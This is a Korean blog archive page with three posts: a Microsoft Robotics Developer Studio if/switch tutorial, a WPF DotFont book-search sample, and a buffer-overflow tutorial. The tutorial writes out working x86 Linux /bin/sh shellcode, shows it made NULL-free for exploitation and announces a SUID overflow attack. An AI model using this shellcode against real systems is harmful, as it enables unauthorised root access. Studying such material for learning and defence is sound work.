Blog | Tag | Local | Guest | Login | Write |  RSS
2008/12/02에 해당되는 글 3건

3주만에 글 쓰는군요...0ㅁ0;;

허을...

-ㅁ-aaa

아 그리고 MSRDS 2008최종버전이 나왔더라구요.

다운로드 링크는 아래로~

http://www.microsoft.com/downloads/details.aspx?familyid=84c5b49f-0f9c-4182-a267-a951328d3fbd&displaylang=en#filelist



이번 시간은 if문 사용해보도록 하겠습니다.

음...

두가지 값을 입력 받아서 그 값들이 같은지. 다른지 확인하여 출력해 주는 프로그램을 만들어 보겠습니다.

먼저 SimpleDialog activity 두 개와 Calculate Activity 두 개를 추가하여줍니다.

각 각 하나씩 연결하여 주시고. PromptDialog - Success 를 선택하여 줍니다.



그리고 그 두개를 연결한 Join Activity를 추가하고 연결하여 줍니다.


그리고 If Acvity와 Data Activity를 추가하고, Join Activity와 If Activity를 연결하여 주시고, If의 조건은 두 값을 같은지 다른지 비교하는 것이므로,  msg == msg0 이라는 문을 추가하여줍니다.
그 If Activity와 Data Activity를 참 일때와 거짓일때 각각 연결하여주시고, 참인 Data Activity에는 같다 라는 문장을 적어주시고 string 형으로 선언하여 줍니다. 거짓인 Data Activity에는 다르다 라는 문장을 적으시고 string를 선택하여줍니다.


이제 그 Data들을 각각 표시할 Dialog를 추가하여줍니다.

Data Activity와 SimpleDialog를 연결하시고, AlertDialog를 선택하시고,


Data Connections에서는 value를 선택합니다.


그러면 오늘 실행해볼 프로그램은 다 끝났구요. 다하면 다음과 같은 모습을 갖게 됩니다.


실행을 시켜보면~

Prompt Dialog 창이 두개 뜨구요. 거기에 각각 원하는 문장이라던지 적으시고, OK를 하시면

같으면 같다 라는 Alert Dialog, 다르면 다르다 라는 Alert Dialog를 보실수 있습니다.



그리고 Switch 조건문 처리에 관한 예제 인데요.


위 그림과 같이 구성하시면 됩니다.

Prompt Dialog로 입력받은 문자열을 switch문에서 찾아서 해당하는 것을 따라 Data가 출력됩니다.

오늘 새로본 Activity가 두 가지가 더 있는데요.

merge와 join 인데, 그 둘의 차이점은 merge 같은 경우는 연결되어있는 입력점의 값들이 하나라도 입력되면 해당 출력점으로 전달을 하여주고, join 같은 경우는 모든 값들이 다 입력되야 해당 출력으로 전달을 합니다.


오랜만에 뵙네여. 바로 시작합니다. (시그장님 흠좀무..ㄷㄷ)


전 글에서 설명하였듯이 스택의 적당한 곳에 우리가 직접 작성한 쉘코드를 집어넣어주면 된다. 하지만 이는 말처럼 쉽지만은 않다. 쉘코드를 C언어로 작성한다면 쉽지만 스택에 삽입해야 하기 때문에 기계어 수준의 코드를 필요로 한다는 점이다. 아울러 우리가 삽입한 코드의 어드레스를 알기가 그리 쉽지 않다는 것이다. 하지만 이런 어려움들을 이번 글에서 극복해본다.

쉘코드를 만드는 문제는 이미 인터넷에 현재 널리 사용되는 OS들의 쉘코드가 해커들 사이에 돌아다니고 있기 때문에, 그것을 얻음으로써 어느 정도는 쉽게 해결할 수 있다.

우리가 삽입한 코드의 정확한 위치를 아는 방법은 수많은 시행착오를 통해서 해결할 수 있는데, 여러번 시도해 보면 스택의 어디쯤에 삽입된 코드가 저장되어 있는지를 대략 짐작할 수 있다. 하지만 그 코드를 실행하기 위해서는 정확한 어드레스를 알아야 된다. 이것은 그 코드 앞에 충분히 많은 NOP(null operation) 코드를 삽입한 후 리턴 어드레스가 그 NOP를 가리키게끔 하는 방법으로 극복할 수 있다.

C로 짠 쉘코드

#include <stdio.h>

void main()

{

        char *name[2];

        name[0] = "/bin/sh";

        name[1] = NULL;

        execve(name[0], name, NULL);

}


위 코드를 디스어셈블하여 보면..
$gcc -o shellcode -ggdb -static shellcode.c
$gdb shellcode

...

(gdb) disassemble main
Dump of assembler code for function main:
0x8048124 <main>: pushl %ebp
...
(gdb : GNU Debuger. 컴파일된 파일을 이용하여 disassemble, Memory Map, trace, break 설정 등이 가능하다. 막강한 디버깅툴.)

jmp      0x2a
popl     %esi
movl     %esi, 0x8(%esi)
movb     %0x0, 0x7(%esi)
movl     %0x0, 0xc(%esi)
movl     $0xb, %eax
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
movl     %0x1, %eax
movl     %0x0, %ebx
int      $0x80
call     -0x2f
.string  "/bin/sh"

여기서 잠깐->


이 어셈코드를 스택에 넣은 다음 실행시키면 /bin/sh를 실행시키게 된다. 그렇게 하기 위해서는 위의 코드를 명령인자에 넣어주기 위해선 문자배열로 만들어야 되는데 다음과 같은 문자배열을 만들 수 있다.

"\xeb\x2a"
"\x5e"
"\x89\x76\x08"
"\xc6\x46\x07\x00"
"\xc7\x46\x0c\x00\x00\x00\x00"
"\xb8\x0b\x00\x00\x00"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xd1\xff\xff\xff"
"/bin/sh";


이것을 스택에 넣고 실행시키면 문자열 "/bin/sh"가 실행된다.

char shellcode[] = "\xeb\x2a"

"\x5e"

"\x89\x76\x08"

"\xc6\x46\x07\x00"

"\xc7\x46\x0c\x00\x00\x00\x00"

"\xb8\x0b\x00\x00\x00"

"\x89\xf3"

"\x8d\x4e\x08"

"\x8d\x56\x0c"

"\xcd\x80"

"\xb8\x01\x00\x00\x00"

"\xbb\x00\x00\x00\x00"

"\xcd\x80"

"\xe8\xd1\xff\xff\xff"

"/bin/sh";


void
main()

{

        int *ret;

        ret = (int *)&ret + 2;

        (*ret) = (int)shellcode;

}


[hankyung@hankyung]$ gcc -o test_shell test_shell.c
[hankyung@hankyung]$ ./test_shell
bash$ exit
exit
[hankyung@hankyung]$

-> 쉘코드가 제대로 작동한다.
-> 쉘코드가 정수형이다. Exploit 시에 취약점을 가진 프로그램은 문자형 버퍼를 사용한다. 그래서 \x00 과 같은 NULL 바이트는 문자의 끝으로 인식하기 때문에 쉘코드를 끝까지 실행시킬 수 없다. 이제 NULL 바이트를 없애보자.


movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)

이것을

아래처럼
xorl %eax, %eax
movb %eax, 0x7(%esi)
movl %eax, 0xc(%esi)

(xorl => excursive or. 같은 값을 xor함)

movl $0xb, %eax
이것을

이렇게
movb $0xb, %al

movl $0x1, %eax
movl $0x0, %ebx

이것을

요롷코롬
xorl %ebx, %ebx
movl %ebx, %eax
inc %eax


변환한 쉘코드의 코드를 보면
jmp      0x1f
popl     %esi
movl     %esi, 0x8(%esi)
xorl     %eax, %eax
movb     %eax, 0x7(%esi)
movl     %eax, 0xc(%esi)
movb     $0xb, %al
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
xorl     %ebx, %ebx
movl     %ebx, %eax
inc      %eax
int      $0x80
call     -0x24
.string  "/bin/sh"

이것을 다시 문자배열로 만들어 보자.

"\xeb" "\x1f" "\x5e" "\x89" "\x76" "\x08" "\x31" "\xc0" "\x88" "\x46" "\x07" "\x89" "\x46" "\x0c" "\xb0" "\x0b"
"\x89" "\xf3" "\x8d" "\x4e" "\x08" "\x8d" "\x56" "\x0c" "\xcd" "\x80" "\x31" "\xdb" "\x89" "\xd8" "\x40" "\xcd"
"\x80" "\xe8" "\xdc" "\xff" "\xff" "\xff" "\xef" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"

자. 이제 쉘코드를 완성하였다.

우선 이 코드가 어떻게 동작하는지 보자.

* jmp 0x1f
  call -0x24로 점프한다.
* call -0x24
  popl %esi를 호출한다. 이는 문자열 "/bin/sh"가 저장되어 있는 메모리의 영역을 알아내기 위해서이다. (call을 사용하면 리턴 어드레스가 스택에 push됨)
* popl %esi
  스택에 있는 리턴 어드레스 (/bin/sh 가 있는 어드레스)를 pop 해서 %esi에 저장.
* movl %esi, 0x8(%esi)
  %esi로부터 8만큼 떨어진 곳에 %esi (/bin/sh의 어드레스)를 저장한다.
* xorl %eax, %eax
  %eax를 NULL로 만든다.
* movb %eax, 0x7(%esi)
  %esi로부터 7만큼 떨어진 곳에 %eax(NULL)의 1바이트를 저장한다.
* movl %eax, 0xc(%esi)
  %esi로부터 12만큼 떨어진 곳에 %eax(NULL)의 4바이트를 저장한다.
* movb $0xb, %al
  %al에 11을 저장한다.
* movl     %esi, %ebx
  %esi를 %ebx에 저장한다. 현재 %esi는 /bin/sh의 어드레스를 가지고 있다.
* leal     0x8(%esi), %ecx

  %esi로부터 8만큼 떨어진 곳의 어드레스를 %ecx에 저장한다. 이것은 /bin/sh의 어드레스가 저장되어 있는 곳의 어드레스.
* leal     0xc(%esi), %edx

  %esi로부터 12만큼 떨어진 곳의 어드레스를 %edx에 저장한다. 이곳에는 NULL이 저장되어 있다.
* int      $0x80

  0x80 인터럽트를 호출한다. 여기까지 정상적으로 수행이 되었다면 execve(name[0], name, NULL)을 실행시키게 된다. %ebx에 있는 값이 name[0]이고 %ecx에 있는 값이 name이며 %edx에 있는 값이 NULL 이다.
* xorl     %ebx, %ebx

  %ebx를 NULL 로 만든다.
* movl     %ebx, %eax

  %ebx(NULL)를 %eax에 저장한다.
* inc      %eax

  %eax를 1만큼 증가시킨다.
* int      $0x80

  0x80 인터럽트를 호출한다. 쉘을 실행시킨 다음 이 부분은 exit를 호출해서 프로그램을 종료하는 코드이다.



쉘코드를 만들어봤습니다.
이제 공격대상 프로그램의 특정 함수의 리턴 어드레스를 알아내어 삽입하여 봅시다. 그리고 Buffer over flow 공격에 취약한 SUID 프로그램에 명령인자로 넣어주면 됩니다. 다음 글에서는 이것을 가지고 Buffer over flow 공격을 해봅시다. @^^@



이전시간에 올렸었던 DotFont를 사용한 샘플입니다. 기능은 사용자에게 키워드를 입력받고 해당하는 도서들을 검색합니다. 그리고 도서를 출력할 때 키워드를 DotFont로 변환하여 점 하나하나를 검색된 도서를 출력합니다. 아래는 시연 동영상입니다.



멤버십에서 작업을 하고있는데.. 멤버십 인터넷이 상당히 느려서 검색 결과가 약간 늦게 뜨네요.. ㅠㅠ
동영상을 끝까지 보다보면 한글도 잘표시가 되는 것을 확인 하실 수 있습니다. 이번 예제는 코드가 꾀 긴 관계로 중요한 코드만 여기서 설명하고 전체 소스코드는 첨부파일로 올리도록하도록 하겠습니다..

아래는 이번 예제에서 가장 핵심(?) 되는 부분이라고 할 수 있는 DotFont의 활용 부분입니다.

  1. foreach (Point Dot in DotString)   
  2. {   
  3.     Book BookItem = BookItems[Random.Next(0, BookItems.Count - 1)];   
  4.     BitmapSource Source = BookItem.Image;   
  5.     Rectangle DotItem = new Rectangle();   
  6.     DotItem.Width = DotItem.Height = Random.Next(1500,2000) / 100;   
  7.     DotItem.Fill = new ImageBrush(Source);   
  8.     DotItem.Tag = BookItem;   
  9.   
  10.     DotItem.RenderTransform = new RotateTransform(Random.Next(-360, 360));   
  11.     DotItem.MouseEnter += new MouseEventHandler(DotItem_MouseEnter);   
  12.     DotItem.MouseLeave += new MouseEventHandler(DotItem_MouseLeave);   
  13.     DotItem.MouseLeftButtonUp += new MouseButtonEventHandler(DotItem_MouseLeftButtonUp);   
  14.        
  15.     Canvas.SetLeft(DotItem, Dot.X - DotItem.Width / 2);   
  16.     Canvas.SetTop(DotItem, Dot.Y - DotItem.Height / 2);   
  17.   
  18.     ResultCanvas.Children.Add(DotItem);   
  19.   
  20. }  
DotString은 DotFont의 Raw Point가 저장된 List<Point>객체입니다. ForEach문을 사용하여 각각의 포인트들 검색한 도서를 매핑시킵니다. 여기서 BookItems는 검색된 도서가 저장되어 있는 List입니다.

기타 질문은 리플이나 메일 보내주시면 답변드리도록 하겠습니다.

PS. 코드를 보시면 중간에 OPENAPI Key를 입력하시는 부분이 있습니다. 해당 부분을 본인의 OpenAPI Key로 설정하셔야 동작됩니다.